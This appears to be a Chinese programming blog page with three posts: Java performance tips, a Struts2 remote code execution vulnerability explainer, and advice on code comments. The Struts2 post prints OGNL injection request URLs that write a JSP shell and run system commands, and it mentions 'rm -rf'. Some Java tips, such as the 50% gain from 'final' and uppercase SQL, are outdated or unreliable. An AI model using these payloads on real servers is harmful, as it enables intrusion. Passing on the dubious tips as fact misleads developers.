日记

德问:编程是一种艺术创作

java代码效率优化

java代码效率优化1、 尽量指定类的final修饰符 带有final修饰符的类是不可派生的。如果指定一个类为final,则该类所有的方法都是final。Java编译器会寻找机会内联(inline)所有的 final方法(这和具体的编译器实现有关)。此举能够使性能平均提高50% 。2、 尽量重用对象。特别是String 对象的使用中,出现字符串连接情况时应用StringBuffer 代替。由于系统不仅要花时间生成对象,以后可能还需花时间对这些对象进行垃圾回收和处理。因此,生成过多的对象将会给程序的性能带来很大的影响。3、 尽量使用局部变量,调用方法时传递的参数以及在调用中创建的临时变量都保存在栈(Stack)中,速度较快。其他变量,如静态变量、实例变量等,都在堆(Heap)中创建,速度较慢。另外,依赖于具体的编译器/JVM,局部变量还可能得到进一步优化。请参见《尽 可能使用堆栈变量》。4、 不要重复初始化变量默认情况下,调用类的构造函数时, Java会把变量初始化成确定的值:所有的对象被设置成null,整数变量(byte、short、int、long)设置成0,float和 double变量设置成0.0,逻辑值设置成false。当一个类从另一个类派生时,这一点尤其应该注意,因为用new关键词创建一个对象时,构造函数链 中的所有构造函数都会被自动调用。5、 在JAVA + ORACLE 的应用系统开发中,java中内嵌的SQL语句尽量使用大写的形式,以减轻ORACLE解析器的解析负担。6、 Java 编程过程中,进行数据库连接、I/O流操作时务必小心,在使用完毕后,即使关闭以释放资源。因为对这些大对象的操作会造成系统大的开销,稍有不慎,会导致严重的后果。7、 由于JVM的有其自身的GC机制,不需要程序开发者的过多考虑,从一定程度上减轻了开发者负担,但同时也遗漏了隐患,过分的创建对象会消耗系统的大量内 存,严重时会导致内存泄露,因此,保证过期对象的及时回收具有重要意义。JVM回收垃圾的条件是:对象不在被引用;然而,JVM的GC并非十分的机智,即使对象满足了垃圾回收的条件也不一定会被立即回收。所以,建议我们在对象 使用完毕,应手动置成null。8、 在使用同步机制时,应尽量使用方法同步代替代码块同步。9、 尽量减少对变量的重复计算10、尽量采用lazy loading 的策略,即在需要的时候才开始创建。11、慎用异常异常对性能不利。抛出异常首先要创建一个新的对象。Throwable接口的构造函数调用名为fillInStackTrace()的本地 (Native)方法,fillInStackTrace()方法检查堆栈,收集调用跟踪信息。只要有异常被抛出,VM就必须调整调用堆栈,因为在处理过 程中创建了一个新的对象。 异常只能用于错误处理,不应该用来控制程序流程。12、不要在循环中使用:Try {} catch() {}应把其放置在最外层。13、StringBuffer 的使用:StringBuffer表示了可变的、可写的字符串。有三个构造方法 :StringBuffer (); //默认分配16个字符的空间StringBuffer (int size); //分配size个字符的空间StringBuffer (String str); //分配16个字符+str.length()个字符空间你可以通过StringBuffer的构造函数来设定它的初始化容量,这样可以明显地提升性能。这里提到的构造函数是StringBuffer(int length),length参数表示当前的StringBuffer能保持的字符数量。你也可以使用ensureCapacity(int minimumcapacity)方法在StringBuffer对象创建之后设置它的容量。首先我们看看StringBuffer的缺省行为,然后再找 出一条更好的提升性能的途径。StringBuffer在内部维护一个字符数组,当你使用缺省的构造函数来创建StringBuffer对象的时候,因为没有设置初始化字符长 度,StringBuffer的容量被初始化为16个字符,也就是说缺省容量就是16个字符。当StringBuffer达到最大容量的时候,它会将自身 容量增加到当前的2倍再加2,也就是(2旧值+2)。如果你使用缺省值,初始化之后接着往里面追加字符,在你追加到第16个字符的时候它会将容量增加到 34(216+2),当追加到34个字符的时候就会将容量增加到70(2*34+2)。无论何事只要StringBuffer到达它的最大容量它就不得 不创建一个新的字符数组然后重新将旧字符和新字符都拷贝一遍――这也太昂贵了点。所以总是给StringBuffer设置一个合理的初始化容量值是错不了 的,这样会带来立竿见影的性能增益。StringBuffer初始化过程的调整的作用由此可见一斑。所以,使用一个合适的容量值来初始化 StringBuffer永远都是一个最佳的建议。14、合理的使用Java类 java.util.Vector。简单地说,一个Vector就是一个java.lang.Object实例的数组。Vector与数组相似,它的元素可以通过整数形式的索引访问。但 是,Vector类型的对象在创建之后,对象的大小能够根据元素的增加或者删除而扩展、缩小。请考虑下面这个向Vector加入元素的例子:Object bj = new Object();Vector v = new Vector(100000);for(int I=0;I<100000; I++) { v.add(0,obj); }除非有绝对充足的理由要求每次都把新元素插入到Vector的前面,否则上面的代码对性能不利。在默认构造函数中,Vector的初始存储能力 是10个元素,如果新元素加入时存储能力不足,则以后存储能力每次加倍。Vector类就对象StringBuffer类一样,每次扩展存储能力时,所有 现有的元素都要复制到新的存储空间之中。下面的代码片段要比前面的例子快几个数量级:Object bj = new Object();Vector v = new Vector(100000);for(int I=0; I<100000; I++) { v.add(obj); }同样的规则也适用于Vector类的remove()方法。由于Vector中各个元素之间不能含有“空隙”,删除除最后一个元素之外的任意其 他元素都导致被删除元素之后的元素向前移动。也就是说,从Vector删除最后一个元素要比删除第一个元素“开销”低好几倍。假设要从前面的Vector删除所有元素,我们可以使用这种代码:for(int I=0; I<100000; I++){v.remove(0);}但是,与下面的代码相比,前面的代码要慢几个数量级:for(int I=0; I<100000; I++){v.remove(v.size()-1);}从Vector类型的对象v删除所有元素的最好方法是:v.removeAllElements();假设Vector类型的对象v包含字符串“Hello”。考虑下面的代码,它要从这个Vector中删除“Hello”字符串:String…

struts2代码执行漏洞

刚刚@乌云-漏洞报告平台公布的struts2代码执行漏洞,具体的漏洞说明地址https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt还是热乎的,我大概白话一下。这个漏洞的级别很高,都升级修补一下。影响版本是2.3.1和2.3.1之前的版本解决办法是升级2.3.1.1漏洞原理(自己理解的)Struts2的核心是使用的WebWork,处理Action时通过ParametersInterceptor(参数过滤器)调用Action的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。例如处理请求配置这样<action name="Test" class="example.Test">&nbsp;&nbsp;&nbsp; <result name="input">test.jsp</result></action>通过ONGL就可以转换成/Test.action?id=’%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b’oh!god!系统权限就有了,想干什么,就可以干什么了。或者这样/Test.action?id=’%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec(‘calc’))%2b’想执行什么就可以执行什么了。比如 rm –rf /root..我根据说明做了一下测试jdk:1.6struts:2.2.1代码如下:struts.xml 1:<?xmlversion="1.0"encoding="UTF-8" ?> 2:<!DOCTYPEstrutsPUBLIC 3:"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 4:"http://struts.apache.org/dtds/struts-2.0.dtd"> 5:<struts> 6:<packagename="default"namespace="/"extends="struts-default"> 7:<actionname="test"class="me.dapeng.action.Test"> 8:<resultname="input">test.jsp</result> 9:</action> 10:</package> 11:</struts>Test.java 1:package me.dapeng.action; 2:  3:import com.opensymphony.xwork2.ActionSupport; 4:  5:/** 6: * 7: * @ClassName:Test.java.java 8: * @ClassDescription:测试Struts2漏洞 9: * @Author:dapeng 10: * @CreatTime:2012-1-9 下午1:45:36 11: * 12: */ 13:publicclass Test extends ActionSupport { 14:long id; 15:  16: @Override 17:public String execute() throws Exception { 18: System.out.println("execute input"); 19:return"input"; 20: } 21:  22:publiclong getId() { 23:return id; 24: } 25:  26:publicvoid setId(long id) { 27:this.id = id; 28:…

13个代码注释的小技巧

13个代码注释的小技巧&nbsp;这篇文章是由Jos&eacute; M. Aguilar在他卓越的博客中以西班牙语的形式首发,其后Timm Martin在获得Aguilar先生的授权下,对该文章进行翻译、修改,并且在DevTopics上发布。以下13个小技巧可以使得你的代码在长时间内依然能够保持容易理解和维护。1. 对不同级别的代码进行注释对于不同级别的代码块,要使用统一的方法来进行注释。例如:对于每一个类,需要包含一段简明扼要的描述,作者和上一次修改的时间对于每一个方法,需要包含这个方法的用途,功能,参数以及返回结果当你在一个团队里面的时候,采用一套注释的标准是非常重要的。当然,使用一种大家都认可的注释约定和工具(例如C#的XML注释和Java的Javadoc)在一定程度上能推动这项任务。2. 使用段落注释首先把代码块分解成多个“段落”,每一个段落都执行单一的任务;然后在每一个“段落”开始之前添加注释,告诉阅读代码的人接下来的这段代码是干什么用的复制内容到剪贴板代码:// 检查所有记录都是正确的foreach (Record record in records){&nbsp;&nbsp;&nbsp; if (rec.checkStatus()==Status.OK)&nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; . . .&nbsp;&nbsp;&nbsp; }}// 现在开始进行处理Context ctx = new ApplicationContext();ctx.BeginTransaction();. . .3. 对齐注释行对于那些在行末写有注释的代码,应该对齐注释行来使得方便阅读const MAX_ITEMS = 10; // maximum number of packetsconst MASK = 0x1F;&nbsp;&nbsp;&nbsp; // mask bit TCP有些开发人员使用tab来对齐注释,而另外一些人会用空格来对齐。由于tab在不同的编辑器和集成开发环境中会有所不同,所以最佳的方法是使用空格来对齐注释行。4. 不要侮辱阅读者的智慧要避免没用的注释,例如复制内容到剪贴板代码:if (a == 5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //如果a等于5&nbsp;&nbsp;&nbsp; counter = 0&nbsp;&nbsp;&nbsp; //把counte设为0这不单把时间浪费在写没用的注释上面,同时也在分散读者的注意力。5. 要有礼貌应当避免没有礼貌的注释,例如“要注意一些愚蠢的用户会输入一个负数”,或者“修正由菜鸟工程师写的愚蠢得可怜的代码而导致的副作用”。这样的注释对于代码的写注释的人来说并没有任何好处,同时你永远都不会知道将来这些注释会被谁来阅读,你的老板,一个客户或者是刚才被你数落的愚蠢得可怜的工程师。6. 直截了当不要在注释里面写过多的废话。避免在注释里面卖弄ASCII艺术,写笑话,作诗和过于冗长。简而言之就是保持注释的简单和直接。7. 使用统一的风格有些人觉得注释应该让非程序员也能看懂。另外一些人觉得注释需要面对的读者只是程序员。无论如何,正如Successful Strategies for Commenting Code中所说的,最重要的是注释的风格需要统一,并且总是面向相同的读者。就自己而论,我怀疑非程序员是否会去读代码,所以我觉得注释应该面向程序员来写。8. 在内部使用特殊的标签当你在一个团队里工作的时候,采用一组一致的标签能帮助不同的程序员沟通。例如,很多团队会采用“TODO”标签来表示一段尚未完成的代码复制内容到剪贴板代码:int Estimate(int x, int y){&nbsp;&nbsp;&nbsp; // TODO: implement the calculations&nbsp;&nbsp;&nbsp; return 0;}标签注释并不会解释代码,它们寻求注意或者是传递信息。但是如果适当地使用这种技术,要记住跟进这段代码并且完成该标签传递的任务。9. 在写代码的同时添加注释当你在写代码而且记忆犹新的同时就添加注释。如果等到项目后期才添加注释,会让你事倍功半。“我没有时间写注释”,“我的时间很紧迫”和“项目已经延迟了”,这些都是不写注释的常见借口。有些工程师觉最佳的解决方法是“注释先行”。例如:复制内容到剪贴板代码:public void ProcessOrder(){&nbsp;&nbsp;&nbsp; // Make sure the products are available&nbsp;&nbsp;&nbsp; // Check that the customer is valid&nbsp;&nbsp;&nbsp; // Send the order to the store&nbsp;&nbsp;&nbsp; // Generate bill}10. 把自己想象为注释的读者(事实上就是如此)当你正在给代码写注释的时候,不仅仅为日后维护你的代码的开发者考虑,同时也设想一下如果自己就是注释的读者。Phil Haack曾经说过:“一旦一行代码被敲到文件中, 你就已经要开始维护那一行代码了。”所以,我们自己就是好(或者坏)注释的第一个受益者(或者受害者)。11. 更新代码的时候要更新注释如果注释没有随着代码的修改而更新,那么这些注释将是毫无意义的。代码和注释需要同步,否则注释只会让维护代码的开发者更加痛苦。需要特别注意的是,一些重构的工具会自动更新代码,但是却没有自动更新注释,那么注释就自然而然地过期作废了。12. 良好可读性代码是注释的金科玉律对于很多开发者来说,一个基本的原则就是:让代码自己描述自己。虽然有人怀疑这是由不喜欢写注释的程序员所倡导的一场运动,但是无需解释的代码有很大的好处,这些代码更加容易理解甚至让注释变得没有必要。例如,在我的文章Fluid Interfaces中就给大家展示了什么是清晰的无需解释的代码。复制内容到剪贴板代码:Calculator calc = new Calculator();calc.Set(0);calc.Add(10);calc.Multiply(2);calc.Subtract(4);Console.WriteLine( “Result: {0}”, calc.Get() );在这个例子里面,注释就像是违反了第4条技巧那样,变得毫无必要。要写出可读性好的代码,你需要使用适当的命名方式(在经典的Ottinger’s Rules中有阐述),保证恰当的缩进,并且采用编码风格指导。如果代码不遵守这条技巧,那么注释看起来就好像是为自己不好的代码的写道歉信一样。13. 跟你的同事分享这些技巧虽然从第10条技巧中我们已经知道了自己就是好注释的得益者,但是这些技巧对于所有的开发者来说都是很有帮助的,尤其是整个团队都有相同共识的情况下。因此,大方地跟你的同事去分享这些技巧,让我们写出更加容易理解和维护的代码。